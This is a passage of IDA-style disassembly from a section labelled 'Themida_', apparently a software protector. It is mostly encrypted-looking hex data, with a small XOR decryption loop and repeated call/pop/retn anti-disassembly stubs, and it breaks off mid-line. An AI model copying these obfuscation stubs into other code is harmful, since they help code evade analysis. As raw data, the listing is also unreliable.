43000000h, 0AC31C353h, 94EC37E7h dd 8B6688E9h, 0E80689FAh, 0Bh, 29CD6869h, 34DB960Dh, 890A79A3h dd 2814119Dh, 858B5B06h, 62824C9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 1C35141h, 4468909h, 0EE996h dd 0F17D0000h, 3334212h, 86EAEE2Ch, 66E50420h, 275FBF50h dd 6A962610h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0EA3DC351h, 89FCD6F3h, 2811A9B5h dd 0F5B5FF06h, 89062BA3h, 28023585h, 0F0B56806h, 0ECB3DEC9h dd 4A240481h, 6A215513h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 145DC355h, 0D08160CEh dd 3BBA8F91h, 7D5B509h, 8D610628h, 2BA3FD85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0D25F34E7h, 5F502A06h, 52505050h, 0B287E9BFh, 66310F27h dd 5A3D89BFh, 4895B58h, 8840F24h, 53000000h, 860Fh, 0FF5F0000h dd 28176D95h, 6A61FC06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 72A7C351h, 0DBBF0F83h dd 113D85C7h, 30628h, 0B5B70000h, 0A3FDBD83h, 0F00062Bh dd 6184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 12E950ECh, 0CB000000h, 44C8DD43h dd 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 42E95B02h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 552AC357h, 72BBAF45h, 66527722h, 3050F88Bh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0BD8D29C0h, 6A062807h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 256BC350h, 12715FE9h dd 31E401C2h, 28070D85h, 3DBD8306h, 3062811h, 3DD850Fh dd 8B0F0000h, 0Eh, 0C9BD3160h, 89062814h, 28124DBDh, 9D8B6106h dd 62819E1h, 0A3FDBD83h, 0F00062Bh, 3B684h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0BC7D12DAh, 0F9B58929h, 81062802h, 37BDD3E3h, 0FDB5FF22h dd 66062BA3h, 0FF43C1BBh, 280E9595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 55FBBA53h dd 0A86EF82Ch, 21BD8B33h, 8B062802h, 2BA3F1B5h, 858B6006h dd 628273Dh, 106C761h, 6A000100h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9DEEC356h dd 0B6C03AECh, 1FD93B6Ch, 0F961AB3h, 484h, 42BB6600h, 870F50FEh dd 2, 6A96F98Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 8CB0C357h, 0F7F7560h, 68Dh, 0A9958900h dd 0FC06282Dh, 0A3FDB5FFh, 6A062Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5B00EFC3h dd 8D9A6699h, 1F799D89h, 820F0628h, 3, 0F8FA8B66h, 201995FFh dd 7E90628h, 52000000h, 87417C7Dh, 0B58B1159h, 62BA3F1h dd 17D5858Bh, 9D8B0628h, 62833A1h, 0C48689h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8B7DC3h, 62816A1h, 715958Bh, 0C2830628h, 0BD8B6004h dd 628293Dh, 9E9h, 21FFE700h, 2E0C2833h, 8961813Ch, 6A2050h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0FB3EBBC3h, 81661329h, 0E92F35D7h, 0Eh, 0F4022A90h dd 58B9C9B2h, 7F3ED737h, 858DB321h, 62BB8D9h, 1880Fh, 89FC0000h dd 0B886h, 0AE800h, 0CFF40000h, 7E891926h, 461F3091h, 0E298531h dd 6A5F0628h, 61958900h, 0FF062820h, 2BA3FDB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 7E6B9DE7h, 41B52903h, 0FF062826h, 282CD195h, 0C7816606h dd 0BF506754h, 590D9385h, 8A243489h, 0FDB5FFDAh, 6A062BA3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0AF83C351h, 35C2FE6Ah, 0CA208CF0h, 29B995FFh dd 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0ED1655C3h, 3860FE3h, 80000000h, 0BD8370E3h dd 6280C55h, 65840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7856C353h dd 14E854B6h, 0B8000000h, 4237DD80h, 0F6781626h, 25E66C73h dd 417ADE66h, 8B465295h, 281FB59Dh, 0B3965F06h, 8C0F5080h dd 18h, 13E9h, 0A9AB8F00h, 6515CD7Ch, 28A058FCh, 2E7163D3h dd 8C67024Fh, 0F88B6696h, 0A3FDB5FFh, 8166062Bh, 0FFD2CBEBh dd 28228595h, 0CEBB6606h, 599D8B30h, 0FF062829h, 2BA3FDB5h dd 8D850106h, 0FF062816h, 2810C195h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 83983BCDh, 281861BDh, 840F0206h, 4Fh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 0FBC35545h, 0D2035939h dd 223D8501h, 858B0628h, 6281259h, 2345B529h, 8D290628h dd 6282F71h, 0F0000C6h, 0E89h, 95096000h, 62820BDh, 5599D29h dd 0C7610628h, 28130585h, 6, 5DBD8900h, 0E906282Fh, 0FFFFF465h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 3DC35141h dd 78E8D59Ch, 8E848h, 89D40000h, 7D15D5E3h, 2B607E55h dd 28000595h, 0CDBD0106h, 61062803h, 6AC18B5Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 94D0C351h, 686EB86Dh, 0C5BD0B58h, 0E9062834h, 6, 5CAC590Ch dd 9EE90000h, 8E000005h, 464AC7BDh, 0F9FD7A78h, 0AAAE2B2Dh dd 6165E2D8h, 16199694h, 0AEAC7948h, 645E2D31h, 1618E3E7h dd 0CBC59599h, 3298284Eh, 795F14EAh, 0E046BB8Eh, 3DF11610h dd 0F1F57270h, 4E022721h, 0AB5F847Eh, 397415DDh, 62DAFE04h dd 75FDD7FCh, 53857F4Fh, 0F4F48886h, 0EBE5B53Bh, 3B0A306Eh dd 98681C41h, 2B91799Eh, 0F4F6C197h, 0A6A87377h, 4FECD81h dd 575F2BDFh, 73232BF1h, 258B4D7Fh, 0B47E4C00h, 0D9C1E6E8h dd 0EE824E73h, 9D317B35h, 91935EE4h, 7C401014h, 74CD03Ah dd 897B1F87h, 0DFDABDBh, 0E2D6FB61h, 7F73FC3Fh, 0D9FEF8C7h dd 33585A25h, 0AC32EB4Fh, 0D2BADFE1h, 0A15A566Ch, 319E5524h dd 4B173DBBh, 4BB1AF7Dh, 45C27426h, 832DAD74h, 5024ED1Dh dd 13429D34h, 4B937Fh, 0E0C00000h, 0FDF11610h, 7F7393D9h dd 0FECBF1FDh, 0B36C6C00h, 312F4336h, 173BBh, 0E0A00000h dd 3BEF1412h, 964A6F6Dh, 3C62CEC4h, 14DD716Fh, 8309C23Ah dd 2090EDB5h, 0D12B3BC8h, 379D0305h, 22E6B6BAh, 35227670h dd 34B1174Fh, 0B380A6CBh, 939349AFh, 0E3A57F73h, 0DC70587Dh dd 163B3906h, 2A909462h, 7F7393F2h, 395EC486h, 93B8BA85h dd 0F04C10DFh, 5CDA261Dh, 7B2F54BAh, 0A58DB2ACh, 6D27E042h dd 4BD18A28h, 0EAE4B47Eh, 0FA77DDC5h, 72C26F6h, 197F8753h dd 7F73A4C3h, 1E18E775h, 45AB11F9h, 2EE72D20h, 3164D8B1h dd 0BEDEBBh, 12360000h, 0FC300982h, 0ADE87C5Dh, 0A91513E0h dd 57552349h, 0D84A32h, 347F7393h, 6115DE72h, 0BA6E9395h dd 13C7ECEEh, 0AEB07C46h, 163BA189h, 5C16CF31h, 13D38C04h dd 8B1F21EDh, 7EEAE8B5h, 0FE58445Ah, 6AFE1F06h, 7A784549h dd 0D9CFA155h, 0C27BC1B4h, 31A24445h, 0A772BBh, 0E09F0000h dd 73A90F13h, 57F7393h, 46441143h, 3C07BBE0h, 0A26A8C70h dd 48AE85AEh, 0A79D6F23h, 3901CE82h, 184B96Ch, 0D4F95F13h dd 1AD48DEFh, 9D2145B7h, 6563317Ah, 72285840h, 6262F680h dd 8C5623A9h, 0ED59BFC1h, 0BD4623C9h, 63F7589Bh, 0FDE0442h dd 9C02F015h, 7F73817Ch, 9ED036F8h, 43FD3D1h, 0EF1412E0h dd 9D3BA101h, 977F7393h, 0E82B41D5h, 107F7393h, 0ABA97644h dd 9A6C2045h, 93E0389Eh, 0D2947F73h, 0FF63476Ch, 6A768C46h dd 9374A40Ah, 72007F73h, 0AD41A7A5h, 277F4ADh, 0B4BB312Fh dd 1, 4614E0E1h, 6E567B79h, 5F2FE308h, 0E0744065h, 0D3D5A127h dd 0A6936656h, 0E0F112D6h, 683EF281h, 8FF5DD02h, 0D29DC323h dd 0D4CE9ED0h, 1D33C7AFh, 755BAAF2h, 9F8DB274h, 8BB0AA79h dd 69390FA3h, 1EEEF26Fh, 0A071925Ah, 248A1E0Eh, 0DCCB0BFFh dd 4CBE795Bh, 33585A26h, 90B5AF7Fh, 0AEAE42A8h, 0D99F6FF5h dd 2CA90F09h, 9E72CAEEh, 0D5B1A7A0h, 75A50B05h, 0DFD1E797h dd 7147DB5Ah, 0CE82A7A1h, 6E6838FEh, 8FF56149h, 795BBC49h dd 9EC329EBh, 89551BEAh, 48FC2187h, 0E4E6B17Bh, 4C71D7BFh dd 924C0567h, 0BC7B9F4Dh, 2674C86Ch, 27E0E074h, 5AD7D1A1h dd 59851A5Fh, 12F9CC1h, 0F4C90000h, 32980421h, 755B5E9Fh dd 2C1A3F01h, 362D2808h, 80145EB0h, 63E0DAAAh, 2F2FFF25h dd 5BB513C9h, 0FD632579h, 865CF0D8h, 0E397BCB6h, 87AD1913h dd 5F28BCBAh, 0BB41FA98h, 7974F1EBh, 0C1595500h, 5BB6h dd 46A6E300h, 739338E0h, 0E2AE3C7Fh, 6DD3BBE0h, 1D4217D9h dd 93AD4BB1h, 5C7FF73h, 0FECCF2E0h, 5FF3DB00h, 73939349h dd 0DE97FBFFh, 0DFAE976Ch, 0AD137FE5h, 7F73934Fh, 69AF1575h dd 0B7F7393h, 9759B549h, 6449072Bh, 95BB61C7h, 0FBBD7F73h dd 0CA09D4CBh, 8E0E1536h, 15000000h, 0B8AE80A6h, 5517AB93h dd 8FF56182h, 755BB44Ch, 53072CEEh, 0CE0C8983h, 0B8DDDBA8h dd 96663CD0h, 4E83779Ch, 6A795B8Dh, 0C7799E9Ch, 28879755h dd 0FACCFEDCh, 7A18DF04h, 716B3BC1h, 9BFE644Ch, 2AFA8039h dd 0F0C3B330h, 0E10767D3h, 7B7D4913h, 74086E56h, 77BA7D5Eh dd 90B57773h, 0ED120CDCh, 0B71D7D21h, 7326AE61h, 0BDB38513h dd 0AC3C357h, 0AF3C264Ah, 0DA11DA4Eh, 94B18446h, 86D9C228h dd 19DB790Ah, 6C385E9Ch, 0C95D456Ah, 0FE21F48Eh, 73934098h dd 0CC32F47Fh, 0CE1FA60h, 5113755Fh, 0AEA8782Ch, 0EDBCE242h dd 145B81F3h, 1BDD795Fh, 92626687h, 547F7398h, 36C7D878h dd 0AF7F05BEh, 643438B5h, 0ABD0D29Eh, 84385DC3h, 8850B6B2h dd 0AC1FDEC8h, 285CBAEAh, 649BE096h, 790DD9FEh, 706A3AC0h dd 0C18FB5F3h, 89592FC3h, 0DB36A8Fh, 0BA000000h, 38E046A6h dd 3C7F7393h, 6AB7E67Ah, 0F4190FE0h, 51767040h, 0ABD0D29Dh dd 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch dd 0D4F9F7C5h, 4EC83FFh, 51241C89h, 0C181E189h, 4, 4E981h dd 0C870000h, 4895C24h, 0E3895324h, 4C381h, 0EB810000h dd 4, 5C241C87h, 56241489h, 782DBA52h, 7FBE62A6h, 31648AFFh dd 0F0895AD6h, 148B545Eh, 4C48124h, 83000000h, 48904ECh dd 8428F24h, 5A2434FFh, 4C481h, 48B0000h, 0E3895324h, 4C381h dd 0C3810000h, 4, 5C241C87h, 0FBF2F8E9h, 0EF96B9FFh, 0FA118AFCh dd 8D6D5379h, 8C68B8C3h, 0C503062Ch, 1ECE0FFh, 0D6AB2398h dd 4E147CE6h, 858D15EFh, 6282C05h, 10E850FCh, 29000000h dd 4C4EA8C3h, 0C1D1B63Fh, 1AC9B553h, 0E9AA0E77h, 12h, 6C9E99E3h dd 38961863h, 5BD92F9Fh, 3340FF40h, 895B5C19h, 81662404h dd 521396F7h, 35BD0360h, 8B062805h, 2824B585h, 6A5B6106h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0CA567320h, 386D142Ah, 0BD8B006Ah, 6282491h dd 6E9h, 6A2BA000h, 8DAA8282h, 2C8F3E85h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0DBF86F09h, 5C08306h, 50FEBF0Fh, 0F240489h, 6ADBBFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0C35040h dd 0EA00D883h, 10E9D8h, 139B0000h, 0C941669Eh, 0BFB4C6AEh dd 3DFF93BCh, 9D0B9B6Eh, 62811A1h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 25C1EBC3h dd 2B235447h, 0BD8BE2AFh, 6280131h, 8E8h, 33346B00h, 0D95CD2CDh dd 0B185897Ah, 5B062822h, 243195FFh, 6A0628h, 3E850h, 58200000h dd 448958C3h, 44810424h dd 1B0424h, 50400000h, 0ECDE80C3h, 1477A06Dh, 0F38D8D78h dd 8B062B94h, 280849BDh, 6AD1FF06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0CD20C356h dd 3EDEC2F1h, 0BD831EA0h, 6282415h, 9C850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 318DC355h, 0A3A2F948h, 164D8529h, 8B660628h dd 819D8BFAh, 6A062816h, 12E902h, 83C00000h, 0AFB4B618h dd 4BB1CF15h, 25EDD846h, 0CE20703Bh, 24048950h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B5C35141h, 269AC935h dd 8229B83Eh, 0D195FF7Fh, 6A06282Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FC80C352h dd 3CB1C6A5h, 0E9FEBF0Fh, 0DC7h, 0E8h, 0ED815D00h, 62C8F48h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0EEC35040h dd 0CF81663Dh, 858D155Eh, 62B85B0h, 17158D89h, 57500628h dd 310F5250h, 5E8h, 61D2D000h, 5A5BAEF1h, 4895B58h, 61BD2B24h dd 64062833h, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 5213AFC3h, 70C56A64h dd 0D0B70F60h, 0DC59D0Bh, 64610628h, 2589h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 36E594C3h, 0BE99C3E8h, 0BD012B18h, 628069Dh, 165985FFh dd 9D310628h, 62821C9h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 3DC087C3h, 0EDB0CDF9h dd 0B5FFDCCDh, 6281819h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 28C35040h, 0B84F44C1h, 9D298620h, 6281E9Dh dd 2DC195FFh, 23E90628h, 8B000001h, 2820819Dh, 0F00B006h dd 0C8Eh, 7E900h, 0A95A0000h, 0A19E14ADh, 0F70E66Eh, 684h dd 499D8B00h, 0E4062818h, 0CF816671h, 613CC493h, 0EC830Fh dd 0B60F0000h, 0D58D89C8h, 8B062826h, 280971BDh, 6BA06h dd 9D090000h, 6281925h, 9D8BC18Bh, 6283339h, 8904E8C1h dd 28268995h, 0E2F76606h, 8B665352h, 2B5B5BFAh, 13E9C8h dd 0CB8A0000h, 0C663B256h, 571F87D7h, 0BA8FC788h, 51354D7Fh dd 4CF8194h, 8B794D4Bh, 8E9D1h, 89510000h, 28047DBDh, 858B5B06h dd 6282ADDh, 0C0836BB3h, 0C083F907h, 0AE900h, 7A370000h dd 0FCFCE970h, 0CB049E01h, 830FD03Bh, 14h, 3890Fh, 0C7800000h dd 54E927h, 66520000h, 5F549CBBh, 2B398D8Bh, 0D88B0628h dd 332DBD03h, 0E1830628h, 37840F01h, 8B000000h, 39A583F9h dd 0FE06282Bh, 919D8B60h, 0E8062818h, 7, 8E412593h, 0B04CA5C2h dd 89615A3Ah, 282ADD95h, 6860F06h, 8B000000h, 2822D9BDh dd 0E906h, 0B58D0000h, 62BF4DBh, 19299D8Bh, 6A0628h, 166D8D09h dd 95FF0628h, 6280465h, 0BE940B3h, 6E000000h, 0FC1E07BEh dd 8FDCF62Bh, 56B9DE79h, 1000008h, 280D35B5h, 0FCE18306h dd 2DB1BD33h, 6AFC0628h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0AC09C351h, 6AC02BF5h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 229AC352h, 65F12677h, 0CFEA01D0h, 0BAF98B66h dd 0 ; --------------------------------------------------------------------------- mov edi, esi loc_592562: ; CODE XREF: Themida_:0059256Cj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_592562 push 0 push edi call sub_592579 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592579 proc near ; CODE XREF: Themida_:00592571p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_592579 endp ; --------------------------------------------------------------------------- db 26h, 9Bh, 0DCh dd 0F1BD89E2h, 6A06282Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 7E7BC355h, 2C6C4193h dd 880D5741h, 9000000h, 282539B5h, 15958B06h, 1062807h dd 2820A19Dh, 89BD8B06h, 8B062814h, 2821BD8Dh, 0DFB70F06h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 8B665818h dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 43F0B2C5h, 831BB870h, 2825A1BDh, 840F0006h dd 81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0EAC35646h, 0B8F9FFh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3AEEC350h dd 9E457A1Ah, 897B1760h, 280FDDBDh, 6E8D8D06h, 8B06284Fh dd 2828ED9Dh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0F57C355h, 482h, 3CBF6600h dd 3DBD8340h, 62811h, 47E840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0C3D519C3h dd 66501AB4h, 835BD98Bh, 28113DBDh, 840F0106h, 467h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 92C35242h, 0BB66F8F1h dd 11E8F7B5h, 52000000h, 57458DE7h, 0A3A12D6Eh, 0A9046414h dd 81E81427h, 1E89BD33h, 835B0628h, 28113DBDh, 860F0306h dd 3E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0C2C35646h, 5CCB0834h, 70429180h, 19B53101h, 8B062809h dd 2806359Dh, 9D8B6006h, 62801ADh, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 205DC356h, 0BDBD2BB5h, 80062824h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A1D80AC3h dd 4919D0Bh, 0C90A0628h, 11D840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E3B157C3h dd 0D6F3EA3Dh, 870FD919h, 6, 11999D8Bh, 0BD0B0628h, 62822C1h dd 24C9858Bh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 607526C3h, 9E9h, 978E7C00h, 0CB4D0D96h dd 88B9E963h, 61776315h, 4A1BD8Bh, 85330628h, 6282D05h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h dd 0A5BF909Eh, 50772B6Fh, 8B90F88Bh, 281741BDh, 8A006A06h dd 0D1F168DDh, 0FB8BB15Ch, 0E240481h, 0B74EC232h, 6D95FF40h dd 0BB062817h, 580C0797h, 0A3FD8589h, 6A062Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0E70C8FC3h, 9952ED7h, 55BF6670h, 203E9C9h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 70D4DCC3h, 0DCF781A3h, 8B4DBEA6h, 2BA3F585h, 7DBD8B06h db 1Dh ; --------------------------------------------------------------------------- loc_5928E1: ; CODE XREF: Themida_:0058FA83j sub [esi], al mov dword ptr [eax], 18h movzx edi, di mov esi, [ebp+62BA3F9h] push 0 push ebx call sub_5928FD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5928FD proc near ; CODE XREF: Themida_:005928F5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5928FD endp ; --------------------------------------------------------------------------- db 0F4h, 61h, 83h ; --------------------------------------------------------------------------- dec ebx mov eax, 8D9D09ACh adc ch, [eax] push es sub [ebp+62803BDh], ecx mov eax, [ebp+6282B65h] push 0 push ecx call sub_592930 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592930 proc near ; CODE XREF: Themida_:00592928p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_592930 endp ; --------------------------------------------------------------------------- dd 0E5BEDC77h, 0BE7B9358h, 0F98B668Ah, 85890689h, 6281825h dd 24C9858Bh, 8E0F0628h, 18h, 13E9h, 0B4255C00h, 2B67E54h dd 0CDB17908h, 0A413A9F8h, 10C7D3ECh, 81044689h, 81086E7h dd 6651507Fh, 5B0775BBh, 6A243489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0ABE6C357h dd 99C95256h, 0FE954h, 7FA80000h, 9D1D106Bh, 0AE391619h dd 9832CB76h, 0F5B5FFA1h, 8B062BA3h, 0DABF0FDFh, 4E8h dd 1F03FF00h, 5E800h, 69510000h, 0E9CEEC31h, 13h, 3227E7DCh dd 0DF1F7FFCh, 79D5EFE5h, 935D4744h, 5F6F792Eh, 24448B50h dd 0CE804h, 0F0FB0000h, 1A8D7A92h, 0FB025B33h, 0BB66F0DDh dd 8B5FD38Bh, 7E95600h, 0C6000000h, 395096A0h, 895FAA90h dd 0F042444h, 28Dh, 58FE8B00h, 43D78166h, 0FD858DA3h, 6A062BA3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 7D9BC355h, 3CDCA8Bh, 1F68BBA6h, 68B0Fh, 95890000h dd 6282CD9h, 9E96090h, 8000000h, 0E7FE09EBh, 2C3A90A9h dd 0EE9h, 8177700h, 323C1174h, 238C41B3h, 61DC4163h, 0BE950h dd 34200000h, 952AD556h, 65F7A0EDh, 8B609086h, 280251BDh dd 61F58A06h, 176D95FFh, 8B660628h, 958961D9h, 6282691h dd 6E8h, 8C6A5500h, 0F8977602h, 3D85C75Bh, 3062811h, 81000000h dd 7CD55EC7h, 0FDBD831Ch, 62BA3h, 2B840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BF6685C3h, 21E9E880h, 89000000h, 281D7D9Dh, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0F88B6651h dd 0CC4ABB5Bh, 0BD830097h, 628113Dh, 71850F03h, 31000004h dd 280671BDh, 0FDBD8306h, 62BA3h, 45E840Fh, 13E90000h dd 0EC000000h, 5914E67Dh, 9F852250h, 89D57F92h, 0EBF81F82h dd 0B5FFFD59h, 62BA3FDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0B5C35747h, 0F6E51CFh, 0F98BFABFh, 0FFFFB70Fh dd 280E9595h, 219D8B06h, 5306281Dh, 11BD8B53h, 5B062814h dd 0F1B58B5Fh, 6A062BA3h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 5075C350h, 0AE92D0Eh dd 46000000h, 0E33EF3B2h, 5412BB20h, 106C7CCh, 6A000100h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 3CEBC356h, 4EB3F12Ch, 0B5891E25h, 6282659h dd 13E960h, 12C10000h, 1D6C4072h, 0D10567C1h, 0AA21A476h dd 8CB62088h, 8E850AEh, 4D000000h, 21D29071h, 5B4F6188h dd 8D896159h, 6280665h, 2CABF96h, 8B503D84h, 0B5FF96FEh dd 62BA3FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 38C35343h, 3D9D3368h, 0FF062823h, 28201995h, 8B5B5706h dd 2BA3F1B5h, 359D2306h, 8B062813h, 2817D585h, 0C4868906h dd 66000000h, 665488BBh, 9086F781h, 715958Bh, 6A0628h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 3ECB12C3h, 0C7BF4C0Bh, 664534EBh, 834C2ABBh, 0D78104C2h dd 745DE706h, 6A205089h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0C61AC357h, 2D468678h dd 0FEBF0FC9h, 799589h, 858D0628h, 62BB8D9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 15C35040h, 28B2AD87h dd 6830F35h, 31000000h, 281D7DBDh, 0F3816606h, 506019D4h dd 47D850Bh, 665A0628h, 0CB48D081h, 0B8868961h, 6A000000h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E90E0473h, 0Ch, 868A5BBBh, 1EA202C0h, 0C2A9F9D1h dd 0FFFABF0Fh, 2BA3FDB5h, 7E906h, 0E4BB0000h, 609D1AEFh dd 2DB5091Ch, 0FF062821h, 282CD195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0C7B2933h dd 0CE8160B3h, 41D4687Fh, 878DE9BBh, 5650617Eh, 895B8EB7h dd 81662434h, 0FF67E9D3h, 2BA3FDB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 75AF147Ch dd 29A8DEA4h, 281825B5h, 0B995FF06h, 6A062829h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 392EC353h, 0E2F80056h, 0A88440BBh, 0D5952967h, 83062818h dd 280C55BDh, 840F0006h, 59h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0EDC35242h, 0F05AF32Eh, 0B6579D3Bh dd 75BD8BB9h, 9606280Ch, 14E9h, 0DBFCAE00h, 3CFF70Ah, 7EAB8EA8h dd 0BF42E643h, 0ED778FBAh, 0E99650BAh, 7, 4F479681h, 8BD0F7A5h dd 28180D9Dh, 0FDB5FF06h, 0E9062BA3h, 0Eh, 657C8148h, 0A8689EBDh dd 0F7BB63BDh, 95FFAD96h, 6282285h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 10C35646h, 16C5488Dh, 51BD8B1Dh dd 0FF06280Fh, 2BA3FDB5h, 3D9D8B06h, 0FF062804h, 2810C195h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0FBB70FAAh, 1861BD83h, 0F020628h, 5D84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0F07D7EBDh, 5E9h, 87F4FD00h, 0EB808812h dd 59858B49h, 89062812h, 280BFD95h, 0C606h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 42C35545h, 4D66D2FFh dd 